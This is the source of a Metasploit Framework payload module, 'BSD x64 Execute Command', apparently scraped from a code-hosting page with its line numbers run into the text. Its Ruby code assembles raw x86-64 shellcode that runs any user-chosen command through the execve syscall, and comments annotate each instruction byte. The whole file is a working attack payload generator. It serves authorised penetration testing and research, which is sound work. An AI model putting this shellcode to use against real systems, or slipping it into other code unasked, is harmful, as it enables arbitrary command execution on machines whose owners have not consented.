Path: blob/master/modules/payloads/singles/bsd/x64/exec.rb
19612 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45###6#7# Exec8# ----9#10# Executes an arbitrary command.11#12###13module MetasploitModule14CachedSize = 311516include Msf::Payload::Single17include Msf::Payload::Bsd1819def initialize(info = {})20super(21merge_info(22info,23'Name' => 'BSD x64 Execute Command',24'Description' => 'Execute an arbitrary command',25'Author' => 'joev',26'License' => MSF_LICENSE,27'Platform' => 'bsd',28'Arch' => ARCH_X6429)30)3132# Register exec options33register_options(34[35OptString.new('CMD', [ true, 'The command string to execute' ]),36]37)38end3940#41# Dynamically builds the exec payload based on the user's options.42#43def generate(_opts = {})44cmd_str = datastore['CMD'] || ''45# Split the cmd string into arg chunks46cmd_parts = Shellwords.shellsplit(cmd_str)47cmd_parts = ([cmd_parts.first] + (cmd_parts[1..] || []).reverse).compact48arg_str = cmd_parts.map { |a| "#{a}\x00" }.join49call = "\xe8" + [arg_str.length].pack('V')50"\x48\x31\xd2"+ # xor rdx, rdx51call + # call CMD.len52arg_str + # CMD53"\x5f" + # pop rdi54if cmd_parts.length > 155"\x48\x89\xf9" + # mov rcx, rdi56"\x52" + # push rdx (null)57# for each arg, push its current memory location on to the stack58cmd_parts[1..].each_with_index.map do |_arg, idx|59"\x48\x81\xc1" + # add rcx + ...60[cmd_parts[idx].length + 1].pack('V') +61"\x51" # push rcx (build str array)62end.join63else64"\x52" # push rdx (null)65end +66"\x57"+ # push rdi67"\x48\x89\xe6"+ # mov rsi, rsp68"\x48\x31\xc0"+ # xor rax, rax69"\x48\x83\xc8\x3b" + # or rax, 0x3b (execve)70"\x0f\x05" # syscall71end72end737475